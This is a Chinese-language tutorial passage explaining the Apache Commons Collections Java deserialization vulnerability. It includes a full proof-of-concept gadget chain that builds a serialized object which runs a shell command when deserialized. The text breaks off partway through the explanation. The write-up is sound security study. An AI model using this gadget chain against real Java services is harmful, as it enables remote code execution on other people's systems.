Java反序列化漏洞从爆出到现在快2个月了，已有白帽子实现了jenkins，weblogic，jboss等的代码执行利用工具。本文对于Java反序列化的漏洞简述后，并对于Java反序列化的Poc进行详细解读。

Java反序列化漏洞简介

Java序列化就是把对象转换成字节流，便于保存在内存、文件、数据库中，Java中的ObjectOutputStream类的writeObject()方法可以实现序列化。

Java反序列化即逆过程，由字节流还原成对象。ObjectInputStream类的readObject()方法用于反序列化。

因此要利用Java反序列化漏洞，需要在进行反序列化的地方传入攻击者的序列化代码。能符合以上条件的地方即存在漏洞。

Java反序列化Poc详解

[code lang="python"]public class test {
public static void main(String[] args) throws Exception {
String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,
Object[].class }, new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String[].class },
new Object[] { execArgs }
)
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
BeforeTransformerMap.put("hello", "manning");
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
}
}[/code]

如果想彻底理解上面的poc，需要明白Java中的一些概念。

在Apache commons工具包中有很多jar包（jar包可以理解为python的库），具体jar包里面含有的内容，如下图所示。

其中Java反序列化的问题出在org.apache.commons.collections这个库里面。org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架，也就是说这些扩展也属于collection的基本概念，只是功能不同罢了。Java中的collection可以理解为一组对象，collection里面的对象称为collection的对象。具象的collection为set，list，queue等等。换一种理解方式，collection是set，list，queue的抽象，collection中文含义是收集的意思，那么收集的具体方式就可以是set，list，queue了。

在org.apache.commons.collections内提供了一个接口类叫Transformer，这个接口的英文定义为

Defines a functor interface implemented by classes that transform one object into another.
也就是说接口于Transformer的类都具备把一个对象转化为另一个对象的功能。目前已知接口于Transformer的类，如下如所示。

图上带箭头指示的为Java反序列化漏洞的poc含有的类。

ConstantTransformer Transformer implementation that returns the same constant each time. （把一个对象转化为常量，并返回）

InvokerTransformer Transformer implementation that creates a new object instance by reflection. （通过反射，返回一个对象）

ChainedTransformer Transformer implementation that chains the specified transformers together. （把一些transformer链接到一起，构成一组链条，对一个对象依次通过链条内的每一个transformer进行转换）

有了以上的相关概念，就可以理解最开始的poc了。poc里面，我们一共创建了以下关键对象。

execArgs

待执行的命令数组

transformers 一个transformer链，包含预设转化逻辑（各类transformer对象）的转化数组

transformedChain ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作

BeforeTransformerMap Map数据结构，转换前的Map，Map数据结构内的对象是键值对形式，类比于python的dict理解即可

AfterTransformerMap Map数据结构，转换后的Map

整个poc的逻辑可以这么理解，构建了BeforeTransformerMap的键值对，为其赋值，利用TransformedMap的decorate方法，可以对Map数据结构的key，value进行transforme。

TransformedMap.decorate方法,预期是对Map类的数据结构进行转化，该方法有三个参数。第一个参数为待转化的Map对象，第二个参数为Map对象内的key要经过的转化方法（可为单个方法，也可为链，也可为空），第三个参数为Map对象内的value要经过的转化方法。

TransformedMap.decorate(目标Map, key的转化对象（单个或者链或者null）, value的转化对象（单个或者链或者null）);

图是调试时的转换变量内容，可以很清楚地看到执行完poc后，已经对Map的value进行了转换（过了一遍transformer链）。

poc中对BeforeTransformerMap的value进行转换，当BeforeTransformerMap的value执行完一个完整转换链，就完成了命令执行。

在进行反序列化时，我们会调用ObjectInputStream类的readObject()方法。如果被反序列化的类重写了readObject()，那么该类在进行反序列化时，Java会优先调用重写的readObject()方法。

结合前述Commons Collections的特性，如果某个可序列化的类重写了readObject()方法，并且在readObject()中对Map类型的变量进行了键值修改操作，并且这个Map变量是可控的，就可以实现我们的攻击目标了。

因此我们在poc中看见了下行的代码。